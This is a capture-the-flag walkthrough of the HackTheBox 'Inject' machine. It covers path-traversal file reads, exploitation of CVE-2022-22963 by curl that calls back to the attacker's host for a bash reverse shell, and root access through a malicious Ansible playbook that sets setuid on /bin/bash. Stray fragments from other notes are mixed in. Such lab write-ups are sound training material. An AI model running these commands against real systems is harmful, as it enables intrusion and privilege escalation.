

185 HTB Inject

[HTB] Inject

by Pablo

• Resources:

- 1. **Oxdf** <https://0xdf.gitlab.io/>
- 2. **Savitar** <https://htbmachines.github.io/>
- 3. <https://www.deepl.com/translator>
- 4. **Resource Link:** <https://unix.stackexchange.com/questions/118853/what-does-the-s-attribute-in-file-permissions-mean#118855>



Objectives:

- 1. Skillsets
- 2. Web Enumeration
- 3. Local File Inclusion + Directory Listing
- 4. Information Leakage
- 5. Spring Cloud Exploitation (CVE-2022-22963)
- 6. Abusing Cron Job
- 7. Malicious Ansible Playbook (Privilege Escalation.)
- 8. Inject it's a easy Linux machine, with the main foothold it's the attack to a service running with python3 and a curious tool capable to perform remote arbitrary code execution.

- 1. **Ping &** `whichsystem.py`

- 1. `▷ whichsystem.py 10.10.11.204`
`10.10.11.204 (ttl -> 63): Linux`

- 2. **Nmap**

- 1. `nmap -A -Pn -n -vvv -oN nmap/portzscan.nmap -p 22,8080 inject.htb`
`22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)`
`8080/tcp open nagios-nasca syn-ack Nagios NSCA`

- 3. **Whatweb**

- 1. `NA`

- 4. **CrackMapExec Nullsession**

- 1. `NA`

5. **SMBCLIENT NullSession**

1. NA

6. **SMBMAP Nullsession**

1. NA

7. **RpcClient NullSession**

1. NA

8. **Enumerating the website**

1. All we had is port 22 and 8080 open so I was not able to do most of the basic null session enumeration.
2. http://10.10.11.204:8080/blogs

9. **Gobuster**

1. gobuster dir -u http://10.10.11.204:8080/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 10
.....
/register (Status: 200) [Size: 5654]
/blogs (Status: 200) [Size: 5371]
/upload (Status: 200) [Size: 1857]
/environment (Status: 500) [Size: 712]
/error (Status: 500) [Size: 106]
Progress: 5860 / 220561 (2.66%)^C
2. The http://10.10.11.204:8080/environment gives a 500 internal server error. That is worth investigating. Looks like SQL injectable.

10. **I check out /upload.**

1. http://10.10.11.204:8080/upload
2. SUCCESS, file upload
3. Open up BurpSuite and see if we can intercept the upload with burpsuite.
4. I click on browse file and upload
5. FAIL
6. Only image files are accepted!

11. **Lets curls the uploaded image**

1. > curl -s -X GET "http://10.10.11.204:8080/show_image?img=aoc.jpg" | jq
{
 "timestamp": "2023-12-24T11:11:37.365+00:00",
 "status": 500,
 "error": "Internal Server Error",
 "message": "URL [file:/var/www/WebApp/src/main/uploads/aoc.jpg] cannot be resolved in the file system for checking its content length",
 "path": "/show_image"
}
2. > curl -s -X GET "http://10.10.11.204:8080/show_image?img=test.jpg" | jq
{
 "timestamp": "2023-12-24T11:13:20.226+00:00",
 "status": 500,
 "error": "Internal Server Error",
 "message": "URL [file:/var/www/WebApp/src/main/uploads/test.jpg] cannot be resolved in the file system for checking its content length",
 "path": "/show_image"
}
3. The test.jpg started out as 'test.txt' and we change it in Burp and it still thinks it is an image. You can also do this with the content type changing it to image will confuse the server as well.

Boom just like that.

12. **File inclusion found if you substitute ../ for the name of the file .jpg it will display the contents.**

1. Messing around with the ../../ I quickly drop the /etc/passwd file.
2. > curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

```
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailling List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uidd:x:107:112::/run/uidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper::/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false
3. > curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../../../../etc/hosts"
127.0.0.1 localhost inject
127.0.1.1 inject

# The following lines are desirable for IPv6 capable hosts
::1          ip6-localhost ip6-loopback
fe00::0      ip6-localnet
ff00::0      ip6-mcastprefix
ff02::1      ip6-allnodes
ff02::2      ip6-allrouters
4. I also get the /etc/hosts but I am struggling to get /.ssh/id_rsa private key.
```

13. There is something blocking me from seeing id_rsa and the user.txt file

```
1. > curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../../../../home/"
frank
phil
^C
2. We find frank and phil but if I go foward with "/" it will not show id_rsa or the flag for phil 'user.txt'
3. savitar finds and interesting m2 directory
```

14. M2 directory

```
1. > curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../../../../home/frank/.m2/"
settings.xml
2. > curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../../../../home/frank/.m2/settings.xml"
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>
3. SUCCESS, we find the ssh password in plaintext. lolololololololololololololo
4. FAIL actually that did not work :/
5. > curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../../../../../../proc/sched_debug"
{"timestamp":"2023-12-24T12:13:40.900+00:00","status":500,"error":"Internal Server Error","message":"Invalid
argument","path":"/show_image"}
6. Also fail
```

15. Lets enumerate see if we can find something

```
1. > curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../../../../../"
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

16. Lets enumerates `pom.xml`. This leads him to *spring framework*.

```
1. > curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../"
.classpath
.DS_Store
.idea
.project
.settings
HELP.md
mvnw
mvnw.cmd
pom.xml
src
target
2. I curl it into a file pom.xml and grep for spring.
3. inject > curl -s -X GET "http://10.10.11.204:8080/show_image?img=../../../../pom.xml" > pom.xml
4. > jbat pom.xml | grep -i "spring"
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <description>Demo project for Spring Boot</description>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-thymeleaf</artifactId>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-devtools</artifactId>
        <groupId>org.springframework.cloud</groupId>
        <artifactId>spring-cloud-function-web</artifactId>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-test</artifactId>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-maven-plugin</artifactId>
        <finalName>spring-webapp</finalName>
5. It comes up a-lot so I google springframework
```

17. **SpringFrameWork**

```
1. Google "SpringFrameWork"
2. The Spring Framework is an application framework and inversion of control container for the Java platform. The
frameworks core features can be used by any Java application, but there are extensions for building web
applications on top of the Java EE platform. The framework does not impose any specific programming model.
~Wikipedia
3. Google "spring framework exploit github"
4. Google "spring framework exploit github jdey17 cve-2022-22963"
5. https://github.com/J0ey17/CVE-2022-22963_Reverse-Shell-Exploit
6. curl -s -X GET "http://10.10.11.204:8080/functionRouter" | jq
{
  "timestamp": "2023-12-25T05:45:10.279+00:00",
  "status": 500,
  "error": "Internal Server Error",
  "message": "Failed to establish route, since neither were provided: 'spring.cloud.function.definition' as
Message header or as application property or 'spring.cloud.function.routing-expression' as application
property.",
  "path": "/functionRouter"
}
```

7. Download the exploit
8. Savitar is re-building the exploit into a curl command
9. `git clone https://github.com/J0ey17/CVE-2022-22963_Reverse-Shell-Exploit.git`

Initial Foothold

Reverse Shell using code from J0ey17 exploit in curl command

18. **Reverse Shell** **POC** **using** `Reverse-Shell-Exploit` **payload in** `curl command` **to get reverse shell. First we test with** `TCPDUMP` **with** **ICMP ping command.**

```
1. curl -s -X POST "http://10.10.11.204:8080/functionRouter" -H 'spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("ping -c 1 10.10.14.3")' -d '.'
2. sudo tcpdump -i tun0 icmp
3. It says 500 internal server error but it is calling back to us and that is all we need for a reverse shell.
4. > curl -s -X POST "http://10.10.11.204:8080/functionRouter" -H 'spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("ping -c 1 10.10.14.3")' -d '.'
>>>RESPONSE:
{"timestamp":"2023-12-25T06:05:56.819+00:00","status":500,"error":"Internal Server Error","message":"EL1001E:
Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
5. SUCCESS every time we send the curl command we immediately get a call back on the listening tcpdump.
```

Executing the reverse shell

19. **Lets get a reverse shell**

```
1. sudo python3 -m http.server 80
2. > curl -s -X POST "http://10.10.11.204:8080/functionRouter" -H 'spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("ping -c 1 10.10.14.3")' -d '.'
3. Lets change it from a simple ping to a reverse shell command.
4. #!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
5. name it index.html
6. I forgot we need to change the curl command from a ping to curl. My index.html will execute a cmd bash shell
for me on 443.
7. > curl -s -X POST "http://10.10.11.204:8080/functionRouter" -H 'spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.3")' -d '.'
8. Savitar is saying that when the curl gets completed it will request index.html by default but problem is it is
not executing our malicious injected code in the index.html file. I must be doing something wrong.
9. > sudo python3 -m http.server 80
[sudo] password for shadow42:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.204 - - [25/Dec/2023 07:29:16] "GET / HTTP/1.1" 200 -
10. You can see that it is calling back using the curl command in our payload which should be calling for
index.html, but our code inside index.html is not getting executed. Very strange.
11. If we curl ourselves the bash payload shows up just fine but it is not getting executed.
12. > curl http://10.10.14.3
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```

20. **PROOF OF CONCEPT** `CURL localhost` **I am using this PoC to prove that our payload should in theory work but it isn't for some reason.**

```
1. As stated above. If you curl yourself it will call on index.html as shown by the command below. This is
default behavior but we are not getting execution of the code to get a shell for some reason.
2. > curl http://10.10.14.3
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```

Got Shell as frank

21. **I curl** `index.html` **to an out-file pointing to the temp directory of the target machine.**

```
1. sudo rlwrap -cAr nc -nlvp 443
2. curl -s -X POST "http://10.10.11.204:8080/functionRouter" -H 'spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.3 -o /tmp/reverse")' -d '.'
3. It is /tmp/reverse because the target is a linux server not a windows machine.
4. Then execute /tmp/reverse with 'bash' using the following curl command.
5. curl -s -X POST "http://10.10.11.204:8080/functionRouter" -H 'spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("bash /tmp/reverse")' -d '.'
6. SUCCESS
```

22. **Success, now we have a shell as frank so lets enumerate.**

```
1. > sudo rlwrap -cAr nc -nlvp 443
Listening on 0.0.0.0 443
```

```
Connection received on 10.10.11.204 40070
bash: cannot set terminal process group (825): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$ whoami
whoami
frank
2. frank@inject:/$ hostname -I
hostname -I
10.10.11.204 dead:beef::250:56ff:feb9:d3d4
3. SUCCESS, we are not in a container. phееewwwiееее
```

How to upgrade shell on linux target

23. When upgrading your shell on a Linux target it needs to be a plain shell with only `nc -nlvp 443`. See below.

31337

- `#pwn_upgrade_target_shell_xterm_256color`
- `#pwn_XTERM_256color_upgrade_your_target_SHELL`
- `#pwn_SHELL_upgrade_XTERM_256color`
- `#31337_SHELL_upgrade_XTERM_256COLOR`
- `#pwn_echo_term_dumb`
- `#pwn_echo_XTERM_dumb`

```
1. So lets do this all over again but without using rlwrap.
2. > sudo nc -nlvp 443
[sudo] password for shadow42:
Listening on 0.0.0.0 443
3. sudo python3 -m http.server 80
4. curl -s -X POST "http://10.10.11.204:8080/functionRouter" -H 'spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.3 -o /tmp/reverse")' -d '.'
5. curl -s -X POST "http://10.10.11.204:8080/functionRouter" -H 'spring.cloud.function.routing-expression:
T(java.lang.Runtime).getRuntime().exec("bash /tmp/reverse")' -d '.'
6. Actually the "reverse" payload is already sitting there in the /tmp directory of the target. I just need to
trigger it with the bash command.
7. SUCCESS
8. Now, lets upgrade the shell.
9. frank@inject:/$ tty
tty
not a tty
10. frank@inject:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
10. press Ctrl + z
11. frank@inject:/$ ^Z
zsh: suspended nc -nlvp 443
12. frank@inject:/$ stty raw -echo; fg
13. reset xterm
14. frank@inject:/$ echo $TERM
dumb
15. frank@inject:/$ export TERM=xterm
16. How to colorize your target shell
17. frank@inject:/$ export TERM=xterm-256color
18. frank@inject:/$ source /etc/skel/.bashrc
19. frank@inject:/$ stty size
24 80
20. This part is OPTIONAL! It can also be tricky when it comes to adjusting the rows and columns of a shell.
Sometimes it will crash your terminal pane. I do not like doing it, but I will do it for this demo.
21. In a seperate pane on your local terminal execute: stty size
22. > stty size
38 187
23. The size is way different. Now we are going to change the targets rows and columns size to our local rows and
columns size with this command.
24. frank@inject:/$ stty rows 39 columns 185 <<< This is a good row and column size to use all the time.
25. If you do and echo $SHELL and it is a /nologin fix it
26. www-data@3c371615b7aa:/var/www/html/portal/uploads$ echo $SHELL
/usr/sbin/nologin
www-data@3c371615b7aa:/var/www/html/portal/uploads$ export SHELL=/bin/bash
www-data@3c371615b7aa:/var/www/html/portal/uploads$ which bash
/bin/bash
27. SUCCESS, it is nice and smooth.
28. Now we have a nice pretty very functional shell on our target machine. SEE BELOW. ↓↓↓
```



```
frank@inject:/$ source /etc/skel/.*bashrc
frank@inject:/$ ls
bin      dev      home     lib32    libx32
boot     etc      lib      lib64    lost+found
frank@inject:/$
```

```

> docsbackup
> docsbackup anubis
> docsbackup i
> images
> obsidian_export_10_05_2023
> pacman.d
0xdf_sizzle_walk_through_cre...  TXT
0xrick_walk_through_privesc...  TXT
01_IPv6_Python_Script
```

PrivESC to Phil

24. Switch to user Phil.

```
1. Since we have phil's credential we just do a su in the terminal and paste in the password.
2. frank@inject:/$ su phil
Password:
phil@inject:/$ whoami
phil
```

25. Get Phil user flag

```
1. phil@inject:/$ cd /home/phil
phil@inject:~$ ls -la
lrwxrwxrwx 1 root root 9 Feb 1 2023 .bash_history -> /dev/null
-rw-r--r-- 1 phil phil 3771 Feb 25 2020 .bashrc
drwx----- 2 phil phil 4096 Feb 1 2023 .cache
-rw-r--r-- 1 phil phil 807 Feb 25 2020 .profile
-rw-r----- 1 root phil 33 Dec 25 08:00 user.txt
2. phil@inject:~$ cat user.txt
c7b7afd74dd973e51294b0d87fd126a1
```

Enumerating Linux box phil@inject:~\$ ls -l / | grep root\$

26. Enumerating to PrivESC to ROOT.

```
www-data@moderators:/var/www/html/logs/uploads$ shred -zun 15 -v *.php^C
www-data@moderators:/var/www/html/logs/uploads$ ls -la
total 32
drwxr-xr-x 2 www-data root 4096 Jan 26 09:29 .
drwxr-xr-x 10 root root 4096 Jul 14 2022 ..
-rw-r--r-- 1 root root 0 Jan 1 2022 index.html
-rw-r--r-- 1 www-data www-data 979 Jan 26 09:00 pwned.pdf.php
-rw-r--r-- 1 www-data www-data 819 Jan 26 09:06 pwned2.pdf.php
-rw-r--r-- 1 www-data www-data 75 Jan 26 09:29 pwned6.pdf.php
-rw-r--r-- 1 www-data www-data 37 Jan 26 08:02 test.pdf.php
-rw-r--r-- 1 www-data www-data 49 Jan 26 08:27 test2.pdf.php
-rw-r--r-- 1 www-data www-data 30 Jan 26 08:37 test4.pdf.php
```

- Continuing with privesc

```
1. phil@inject:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.5 LTS
Release: 20.04
Codename: focal
2. phil@inject:~$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
3. phil@inject:~$ find / -group staff 2>/dev/null
/opt/automation/tasks
/root
/var/local
4. phil@inject:~$ cd /root
bash: cd: /root: Permission denied
5. Access denied but you can still see the permissions for that folder you are denied with this command.
6. phil@inject:~$ ls -l / | grep root$
drwx----- 6 root staff 4096 Dec 25 08:00 root
7. The above command is very cool because you do not need to have access to a folder in order to get the permissions for that folder. In this case the '/root' folder. Savitar did a simple ls -l on the root directory and grepped for anything ending in root as a directory name. That is why it shows us the permissions on the '/root' folder.
```

```
8. phil@inject:~$ systemctl list-timers
9. phil@inject:~$ ps -eo command
```

- #pwn_Linux_command_ps_eo_command_list_running_services
- #pwn_ps_eo_command_linux_list_all_running_services

27. `$ ps -eo command` <-- This command allows you to see all the services running on a Linux machine. All the daemons etc...

```
1. phil@inject:~$ ps -eo command
2. To see what user is associate with the running service do this.
3. phil@inject:~$ ps -eo user,command
USER      COMMAND
root      /sbin/init auto automatic-ubiquity noprompt
root      [kthreadd]
root      [rcu_gp]
root      [rcu_par_gp]
root      [kworker/0:0H-kblockd]
root      [mm_percpu_wq]
root      [ksoftirqd/0]
frank     /usr/bin/java -Ddebug -jar /var/www/WebApp/target/spring-webapp.jar
uuidd     /usr/sbin/uuidd --socket-activation
frank     bash /tmp/reverse
frank     bash -i
frank     script /dev/null -c bash
frank     bash
root      su phil
phil      /lib/systemd/systemd --user
phil      (sd-pam)
root      [kworker/0:0-events]
phil      bash
4. Very cool
```

cd into /tmp and create `procmon.sh`

28. `Procmon.sh`, we are going to create a bash script that will show us what new processes are being started by root.

```
phil@inject:/tmp$ cat procmon.sh
#!/bin/bash
while true; do
    new_process=$(ps -eo user,command)
    old_process=$(ps -eo user,command)
    while true; do
        new_process=$(ps -eo user,command)
        diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "procmon|kworker|command"
        old_process=$new_process
    done
done

phil@inject:/tmp$
```

0xdt_sizzle_walk_through_cre... TXT 447 root [kworker/0:0H-kblockd]

0xnck_walk_through_privesc... TXT 448 phil bash

01 IPv6 Python Script 449 4. Very cool

05 HTB APT NOTE 450

10 HTB WORKER NOTE 451

20 My Aliases and Variables 452

25 AWK SED CUT TR XARGS aka RE... 453

30 OSCP TOOLS 454

40 HTB BlackField Active Directory ... 455

45 HTB Resolute Active Directory Tr... 456

50 HTB REEL 457

55 HTB Acute 458

60 HTB Sizzle 459

65 HTB MANTIS 460

66 HTB MANTIS MASTER 461

```
1. phil@inject:~$ cd /tmp
phil@inject:/tmp$ nano procmon.sh
phil@inject:/tmp$ cat procmon.sh
#!/bin/bash

old_process=$(ps -eo user,command)

while true; do
    new_process=$(ps -eo user,command)
    diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "procmon|kworker|command"
    old_process=$new_process
done
2. phil@inject:/tmp$ chmod +x procmon.sh
3. phil@inject:/tmp$ ./procmon.sh
4. This prints out a list of new root services that just started. Not sure how this script works actually. Point
it we find the following directory that we cd into that we have write permission to.
5. phil@inject:/opt/automation/tasks$ ls
playbook_1.yml
phil@inject:/opt/automation/tasks$ touch test
phil@inject:/opt/automation/tasks$ ls -l
total 4
-rw-r--r-- 1 root root 150 Dec 25 10:00 playbook_1.yml
-rw-rw-r-- 1 phil phil 0 Dec 25 10:01 test
phil@inject:/opt/automation/tasks$ rm test
rm: cannot remove 'test': No such file or directory
phil@inject:/opt/automation/tasks$ ls
playbook_1.yml
phil@inject:/opt/automation/tasks$ touch test2
phil@inject:/opt/automation/tasks$ ls
```



```
playbook_1.yml  test2
phil@inject:/opt/automation/tasks$ ls
playbook_1.yml  test2
phil@inject:/opt/automation/tasks$ ls
playbook_1.yml  test2
phil@inject:/opt/automation/tasks$ ls
playbook_1.yml  test2
phil@inject:/opt/automation/tasks$ ls
playbook_1.yml  test2
phil@inject:/opt/automation/tasks$ rm test2
phil@inject:/opt/automation/tasks$ ls
playbook_1.yml
6. I keep ls it because I want to see if it gets auto-deleted by defender.
```

Root runs all playbooks. We have read write access to a directory that has a playbook in it. See where this is going?

- #pwn_Ansible_playbooks_pwned

29. What is Ansible

```
1. Ansible is a configuration management and automation tool that allows you to run commands and playbooks on
remote hosts. ~https://docs.ansible.com
2. `ansible-parallel` runs like `ansible-playbook` but accepts multiple playbooks. All remaining options are
passed to `ansible-playbook` so feel free to run `ansible-parallel --check *.yaml` for example.
~https://pypi.org/project/ansible-parallel/
3. This is an example of an Ansible "playbook" below.
4. phil@inject:/opt/automation/tasks$ cat playbook_1.yml
- hosts: localhost
  tasks:
    - name: Checking webapp service
      ansible.builtin.systemd:
        name: webapp
        enabled: yes
        state: started
5. phil@inject:/opt/automation/tasks$ ls -la
total 12
drwxrwxr-x 2 root staff 4096 Dec 25 10:24 .
drwxr-xr-x 3 root root  4096 Oct 20  2022 ..
-rw-r--r-- 1 root root   150 Dec 25 10:24 playbook_1.yml
6. Since root runs all playbooks and we have write permission here to create a playbook in this directory and
replace playbook_1.yml or inject it with malicious code. That means we can get root via a malicious "playbook".
7. How to mitigate. Create a special group that only runs playbooks without root permissions (Principles of Least
Privilege). Anything run as root is a security risk that will be targeted.
8. Google "ansible.builtin docs"
9. Google "ansible docs" first then filter for "ansible.builtin" inside the website search function.
10. Filter for 'command'.
11. command module - Execute commands on targets
12. Sounds interesting lets look for a shell module.
13. Continue to filter down for the word 'command'
14. [shell module](https://docs.ansible.com/ansible/latest/collections/ansible/builtin/shell_module.html#ansible-
collections-ansible-builtin-shell-module) - Execute shell commands on targets
15. I find a shell module
16. Click on the shell module
17. https://docs.ansible.com/ansible/latest/collections/ansible/builtin/shell_module.html#ansible-collections-
ansible-builtin-shell-module
```

30. Crafting the Ansible playbook malicious script.

```
1. Ok, earlier we cated out the Ansible playbook on the target machine.
2. phil@inject:/opt/automation/tasks$ cat playbook_1.yml
- hosts: localhost
  tasks:
    - name: Checking webapp service
      ansible.builtin.systemd:
        name: webapp
        enabled: yes
        state: started
3. Well, it has the built.systemd module but we want the shell module. Simply replace systemd with shell. See
below.
3. ansible.builtin.shell
4. This is from searching the documentation at Ansible.com and filtering for 'command or the word module'. We
find the below page on the builtin module 'shell'. See below.
5. https://docs.ansible.com/ansible/latest/collections/ansible/builtin/shell_module.html#ansible-collections-
ansible-builtin-shell-module
.....
EXAMPLES:
name: Execute the command in remote shell; stdout goes to the specified file on the remote
```

```
ansible.builtin.shell: somescript.sh >> somelog.txt

- name: Change the working directory to somedir/ before executing the command
  ansible.builtin.shell: somescript.sh >> somelog.txt
6. somescript.sh <<< is whatever command you want. LMAO, a bot-net why not. JK do not do that.
```

31. Lets copy the `playbook_1.yml` file and create a malicious playbook.

```
1. phil@inject:/opt/automation/tasks$ cp playbook_1.yml test1.yml
2. phil@inject:/opt/automation/tasks$ nano test1.yml
3. We edit the original playbook_1.yml file that we copied over to test1.yml and replace systemd with shell and then add the stickybit. I saved it as privesc.yml
4. phil@inject:/opt/automation/tasks$ cat privesc.yml
- hosts: localhost
  tasks:
    - name: Checking webapp service
      ansible.builtin.shell: chmod u+s /bin/bash
5. See below on what a stickybit is and how to use it.
```

Stickybit

What does the 's' attribute in file permissions mean?

- `#pwn_Stickybit_what_is_it`

32. What is a *stickybit*?

Resource Link: <https://unix.stackexchange.com/questions/118853/what-does-the-s-attribute-in-file-permissions-mean#118855>


```
1. What does the 's' attribute in file permissions mean?
That is the "setuid" bit, which tells the OS to execute that program with the userid of its owner. This is typically used with files owned by root to allow normal users to execute them as root with no external tools (such as `sudo`).
~https://unix.stackexchange.com/posts/118855/timeline
2. More resource links on Stickybit
3. https://www.baeldung.com/linux/permission-search-find-locate-suid-sgid
4. https://unix.stackexchange.com/questions/180867/how-to-search-for-all-suid-sgid-files
```

33. OK, now that we created `privesc.yml` file lets watch it and see when it gets executed.

```
1. phil@inject:/opt/automation/tasks$ watch -n 1 ls -l /bin/bash
phil@inject:/opt/automation/tasks$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
2. Immediately it gets the u+s added to /bin/bash
3. To go into a root shell when bash has a stickbit assigned just type 'bash -p'
4. phil@inject:/opt/automation/tasks$ bash -p
5. ROOT
6. PwN3d!!!
7. bash-5.0# whoami
root
7. bash-5.0# cat user.txt
c7b7afd74dd973e51294b0d87fd126a1
8. bash-5.0# cd /root
9. bash-5.0# ls
playbook_1.yml  root.txt
10. bash-5.0# cat root.txt
d3529422794d26e17f35094231596e18
```



Inject has been Pwned!

Congratulations  **quadamage**, best of luck in capturing flags ahead!

#10039	25 Dec 2023	RETIRED
MACHINE RANK	PWN DATE	MACHINE STATE

OK

SHARE